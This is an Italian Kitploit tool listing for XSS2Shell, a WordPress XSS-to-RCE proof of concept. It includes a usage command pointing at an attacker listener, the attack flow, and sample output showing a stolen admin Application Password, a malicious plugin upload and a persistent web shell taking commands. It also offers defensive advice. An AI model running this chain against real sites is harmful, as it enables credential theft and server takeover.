Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
XSS2Shell — Wordpress Pre-auth XSS to RCE exploit PoC (xss2shell & CVE-2026-64638) | Kitploit
Strumenti/GitHubGitHub/wordsec/xss2shell
Payload GenerationExploitationWeb Application ExploitationPost-ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubwordsec/xss2shell

XSS2Shell

Wordpress Pre-auth XSS to RCE exploit PoC (xss2shell & CVE-2026-64638)

Vedi Repository
5112 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

XSS2Shell

XSS2Shell è una prova di concetto educativa per CVE-2026-64638, che dimostra l'impatto di un problema XSS pre-autenticazione nelle installazioni WordPress vulnerabili. Con la partecipazione esplicita di un amministratore, la PoC acquisisce una Application Password di WordPress, pubblica una pagina temporanea, carica un plugin di test e verifica se l'endpoint della shell risultante può eseguire un comando.

Contesto tecnico: WordPress Pre-Auth XSS to RCE: CVE-2026-64638

Solo per formazione e test autorizzati. Esegui questo strumento solo su siti WordPress di tua proprietà o per i quali hai il permesso scritto di valutarli. Non usarlo per colpire amministratori di terze parti o sistemi di produzione.

Requisiti

  • Python 3.7 o successivo
  • Un'installazione di test WordPress raggiungibile
  • Un amministratore che possa accedere al target e aprire l'URL dell'attaccante
  • Accesso di rete dal browser dell'amministratore all'indirizzo del listener
  • Nessun pacchetto Python di terze parti

Utilizzo

root@kitploit:~
python3 xss2shell_poc.py -t http://wordpress.research.local --lhost 192.168.1.227 --lport 8080 -c "whoami"

Opzioni

L'URL del target viene normalizzato automaticamente, quindi lo slash finale è opzionale.

Flusso operativo

  1. Lo strumento verifica che /wp-login.php sia raggiungibile e appaia come una pagina di login WordPress.
  2. Avvia un listener HTTP locale e stampa l'URL del listener.
  3. L'amministratore autorizzato accede al target e apre quell'URL.
  4. Il flusso del browser richiede una Application Password e invia il risultato al listener.
  5. La PoC pubblica una pagina temporanea dell'attaccante usando le credenziali acquisite.
  6. La pagina carica il plugin di test con la sessione dell'amministratore.
  7. Lo strumento verifica shell.php ed esegue il comando richiesto.

Il listener deve essere raggiungibile dal browser dell'amministratore. NAT, firewall, proxy, blocchi popup e regole di contenuto misto (mixed content) possono impedire il completamento del flusso del browser.

Esempio di output

root@kitploit:~
 __          __           _  _____           
 \ \        / /          | |/ ____|          
  \ \  /\  / /__  _ __ __| | (___   ___  ___ 
   \ \/  \/ / _ \| '__/ _` |\___ \ / _ \/ __|
    \  /\  / (_) | | | (_| |____) |  __/ (__ 
     \/  \/ \___/|_|  \__,_|_____/ \___|\___|
                                              
                                              
xss2shell & CVE-2026-64638 |  https://wordsec.net/ - Education Purpose Only


============================================================
[*] XSS2Shell starting ...
[*] Checking target: http://wordpress.research.local/wp-login.php
[+] Admin panel found: http://wordpress.research.local/wp-login.php
[+] Attacker server listening: 192.168.1.227:8080
[*] On the target website, the admin must open this page and log in:
    ->  http://wordpress.research.local/wp-login.php
[*] Then the admin opens the link that was sent to them:
    ->  http://192.168.1.227:8080/
[*] Waiting for the admin to visit (Ctrl+C to stop) ...
[+] Child popup document initialized
[+] Popup window ready, XSS payload prepared
[+] Application Password saved to xss2shell_creds.json for later runs (shell: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php)
[+] XSS payload POSTed to wp-login.php
[+] Application Password stolen: user=admin pass=3SGS Loba 2Txw EzWz EbZC xZst (saved to xss2shell_creds.json)
[+] Attacker page published: http://wordpress.research.local/xss2shell-1786125273210/
[+] Plugin ZIP upload request sent with the victim's session
[+] Shell reachable: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php

============================================================
[+] Command output:
www-data
============================================================
[*] Cleanup: published page deleted (id=61)
[*] Cleanup: Application Password, plugin shell, and saved credentials preserved

[+] Shell link: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php?cmd=whoami
[+] Done.

Artefatti e pulizia

Le esecuzioni riuscite salvano la Application Password acquisita in xss2shell_creds.json per riutilizzarla nelle esecuzioni successive. La pagina temporanea pubblicata viene eliminata automaticamente dopo il comando, a meno che non si usi --keep.

Il plugin di test, l'endpoint della shell, la Application Password e le credenziali salvate vengono intenzionalmente conservati dalla PoC attuale. Rimuovili manualmente dal sito di test dopo una valutazione autorizzata ed elimina xss2shell_creds.json localmente.

Considera il file delle credenziali come sensibile e non committarlo mai nel version control.

Linee guida difensive

  • Applica le patch a WordPress portandolo a una versione non affetta da CVE-2026-64638.
  • Applica un'autenticazione amministratore forte e abilita la 2FA.
  • Limita l'installazione dei plugin e la creazione di Application Password a ruoli fidati.
  • Controlla le Application Password degli amministratori, le pagine pubblicate e i plugin installati di recente dopo i test.
  • Monitora e blocca richieste inaspettate agli endpoint di caricamento plugin e REST.

Licenza

Usa la licenza inclusa in questo repository.

Realizzato da WordSec

Scarica lo strumento
OpzioneObbligatorioDescrizione
-t, --targetSìURL base di WordPress, incluso http:// o https://
-c, --commandSìComando da eseguire quando la shell è disponibile
--lhostNoIP del listener su cui fare bind e da annunciare; per impostazione predefinita usa l'IP LAN rilevato
--lportNoPorta del listener; 0 seleziona una porta casuale disponibile
--keepNoConserva gli artefatti pubblicati invece di eliminare la pagina temporanea